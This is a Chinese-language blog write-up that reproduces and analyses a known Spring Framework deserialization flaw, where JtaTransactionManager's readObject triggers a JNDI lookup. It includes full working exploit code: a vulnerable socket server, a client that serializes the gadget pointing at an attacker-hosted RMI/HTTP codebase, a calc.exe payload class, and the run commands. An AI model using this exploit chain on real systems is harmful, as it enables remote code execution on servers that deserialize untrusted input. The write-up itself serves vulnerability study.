Mi1k7ea

由JNDI注入引发的Spring Framework反序列化漏洞

阅读量

老早的漏洞了,问题是出在spring-tx-xxx.jar这个包。

0x01 环境搭建

直接用的Github的项目:https://github.com/zerothoughts/spring-jndi

下载到本地,导入maven项目即可。

同时,为了顺利复现漏洞,JDK要在以下的版本之下:8u121、7u131、6u141。在上述版本之后的JDK中,都增加了com.sun.jndi.rmi.object.trustURLCodebase选项,其默认禁止RMI和CORBA协议使用远程codebase的选项。

0x02 漏洞复现

成功的Demo

本次Demo就在Windows上测试,JDK版本为1.7.0_80。

为了方便,小改了下代码。

ExploitableServer.java

存在漏洞的服务端代码,全网监听1234端口,将连接上来的Socket数据流内容进行反序列化操作即readObject():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class ExploitableServer {
public static void main(String[] args) {
try {
ServerSocket serverSocket = new ServerSocket(1234);
System.out.println("Server started on port "+serverSocket.getLocalPort());
while(true) {
Socket socket=serverSocket.accept();
System.out.println("Connection received from "+socket.getInetAddress());
ObjectInputStream objectInputStream = new ObjectInputStream(socket.getInputStream());
try {
Object object = objectInputStream.readObject();
System.out.println("Read object "+object);
} catch(Exception e) {
System.out.println("Exception caught while reading object");
e.printStackTrace();
}
}
} catch(Exception e) {
e.printStackTrace();
}
}
}

ExploitClient.java

先创建注册表并监听在默认的1099端口,然后使用RMI+Reference的方式将referenceWrapper注册到Registry中、其中注册名为Object,然后和目标服务器建立连接,接着新建org.springframework.transaction.jta.JtaTransactionManager实例并调用setUserTransactionName来设置JNDI要查找的RMI服务地址、这里为本程序开启的Registry服务中绑定的object,最后将这个实例对象序列化之后发送给服务端:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public class ExploitClient {
public static void main(String[] args) {
try {
int port = 1234;
String localAddress= "127.0.0.1";

System.out.println("Creating RMI Registry");
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new javax.naming.Reference("ExportObject","ExportObject","http://127.0.0.1:8000/");
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference);
registry.bind("Object", referenceWrapper);

Socket socket = new Socket(localAddress,port);
System.out.println("Connected to server");
String jndiAddress = "rmi://"+localAddress+":1099/Object";

org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager();
object.setUserTransactionName(jndiAddress);

System.out.println("Sending object to server...");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream());
objectOutputStream.writeObject(object);
objectOutputStream.flush();
while(true) {
Thread.sleep(1000);
}
} catch(Exception e) {
e.printStackTrace();
}
}
}

ExportObject.java

Reference引用指向的恶意类,这里我们在构造方法中实现运行计算器的功能:

1
2
3
4
5
6
7
8
9
public class ExportObject {
public ExportObject() {
try {
Runtime.getRuntime().exec("calc.exe");
} catch(Exception e) {
e.printStackTrace();
}
}
}

先运行目标服务端ExploitableServer,监听着1234端口,其接受Socket数据并进行反序列化操作;

接着将编译后的ExportObject.class放在攻击者的服务器中,这里是Python直接启的Web服务;

最后运行客户端ExploitClient,其先启动Registry并将指向攻击者服务器的ExportObject.class的Reference引用绑定到注册表中,然后将设置里JNDI查询地址为Registry中绑定的object的实例对象序列化后发送给目标服务端程序;而目标服务端程序ExploitableServer接受到客户端ExploitClient发送的数据后,会对数据进行反序列化操作,其中会触发org.springframework.transaction.jta.JtaTransactionManager实例对象自定义的readObject()方法,调用lookup()查询恶意Reference引用指向的攻击者服务器中的ExportObject类,从而任意代码执行。

弹计算器是意料之中的,值得注意的是我本地的JDK版本是1.7.0_80:

com.sun.jndi.rmi.object.trustURLCodebase

前面说到,在JDK版本8u121、7u131、6u141以后,com.sun.jndi.rmi.object.trustURLCodebase的默认值为false。

下面主要是为了看下高版本的报错情况,环境选在Linux中,其中JDK版本为1.8.0_222。

git clone下项目后,分别输入如下命令来运行服务端和客户端:

1
2
3
4
5
6
7
cd server
mvn install
java -cp "target/*" ExploitableServer 9999

cd client
mvn install
java -cp "target/*"" ExploitClient 127.0.0.1 9999 127.0.0.1

在客户端发送请求之后,在服务端可看到报错信息:

1
org.springframework.transaction.TransactionSystemException: JTA UserTransaction is not available at JNDI location [rmi://127.0.0.1:1099/Object]; nested exception is javax.naming.ConfigurationException: The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.

可以看到主要的报错信息就是com.sun.jndi.rmi.object.trustURLCodebase默认为false,其是默认禁止RMI和CORBA协议使用远程codebase的选项,导致我们不能通过低版本中RMI+Reference的方式来实现JNDI注入从而实现触发反序列化漏洞执行任意代码。

0x03 漏洞分析

函数调用链分析

由前面我们知道,传过去目标服务端进行反序列化操作的是经过序列化的org.springframework.transaction.jta.JtaTransactionManager实例对象,其在传输前还通过调用setUserTransactionName()来设置属性值为某个特定的JNDI。

由前面我们知道,传过去目标服务端进行反序列化操作的是经过序列化的org.springframework.transaction.jta.JtaTransactionManager实例对象,其在传输前还通过调用setUserTransactionName()来设置属性值为某个特定的JNDI。

下面我们跟进org.springframework.transaction.jta.JtaTransactionManager看看它的readObject()方法:

1
2
3
4
5
6
7
8
9
10
11
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
// Rely on default serialization; just initialize state after deserialization.
ois.defaultReadObject();

// Create template for client-side JNDI lookup.
this.jndiTemplate = new JndiTemplate();

// Perform a fresh lookup for JTA handles.
initUserTransactionAndTransactionManager();
initTransactionSynchronizationRegistry();
}

可以看到JtaTransactionManager类的readObject()方法被重写了,关注到调用了initUserTransactionAndTransactionManager(),跟进去:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
protected void initUserTransactionAndTransactionManager() throws TransactionSystemException {
if (this.userTransaction == null) {
// Fetch JTA UserTransaction from JNDI, if necessary.
if (StringUtils.hasLength(this.userTransactionName)) {
this.userTransaction = lookupUserTransaction(this.userTransactionName);
this.userTransactionObtainedFromJndi = true;
}
else {
this.userTransaction = retrieveUserTransaction();
if (this.userTransaction == null && this.autodetectUserTransaction) {
// Autodetect UserTransaction at its default JNDI location.
this.userTransaction = findUserTransaction();
}
}
}

if (this.transactionManager == null) {
// Fetch JTA TransactionManager from JNDI, if necessary.
if (StringUtils.hasLength(this.transactionManagerName)) {
this.transactionManager = lookupTransactionManager(this.transactionManagerName);
}
else {
this.transactionManager = retrieveTransactionManager();
if (this.transactionManager == null && this.autodetectTransactionManager) {
// Autodetect UserTransaction object that implements TransactionManager,
// and check fallback JNDI locations otherwise.
this.transactionManager = findTransactionManager(this.userTransaction);
}
}
}

// If only JTA TransactionManager specified, create UserTransaction handle for it.
if (this.userTransaction == null && this.transactionManager != null) {
this.userTransaction = buildUserTransaction(this.transactionManager);
}
}

分析得知,先判断JtaTransactionManager类的userTransaction属性值是否为空,若为空则进一步判断userTransactionName属性值是否为空,当不为空是则调用lookupUserTransaction(this.userTransactionName)

进一步跟进lookupUserTransaction()函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
protected UserTransaction lookupUserTransaction(String userTransactionName)
throws TransactionSystemException {
try {
if (logger.isDebugEnabled()) {
logger.debug("Retrieving JTA UserTransaction from JNDI location [" + userTransactionName + "]");
}
return getJndiTemplate().lookup(userTransactionName, UserTransaction.class);
}
catch (NamingException ex) {
throw new TransactionSystemException(
"JTA UserTransaction is not available at JNDI location [" + userTransactionName + "]", ex);
}
}

其中直接调用getJndiTemplate().lookup()函数来查找注册表中的远程对象。为了确认lookup()函数是否是JNDI注入常用的那个,再跟进去:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public Object lookup(final String name) throws NamingException {
if (logger.isDebugEnabled()) {
logger.debug("Looking up JNDI object with name [" + name + "]");
}
return execute(new JndiCallback<Object>() {
@Override
public Object doInContext(Context ctx) throws NamingException {
Object located = ctx.lookup(name);
if (located == null) {
throw new NameNotFoundException(
"JNDI object with [" + name + "] not found: JNDI implementation returned null");
}
return located;
}
});
}

这里就清晰了,这个lookup()函数符合JNDI注入的特征,且参数是JtaTransactionManager类的userTransactionName属性值,而该属性值我们是可以通过调用setUserTransactionName()的方式来设置的。

小结

这个漏洞的产生根源是:org.springframework.transaction.jta.JtaTransactionManager类重写了readObject()方法,其中调用了JNDI注入相关的lookup()函数,而lookup()函数的参数userTransactionName为JtaTransactionManager类的属性、是可以通过调用setUserTransactionName()来设置的,从而导致lookup()函数的参数外部可控,当目标服务端进行反序列化操作时就会触发JNDI注入漏洞从而导致任意代码执行。

0x04 参考

Spring framework deserialization RCE


Copyright © Mi1k7ea | 本站总访问量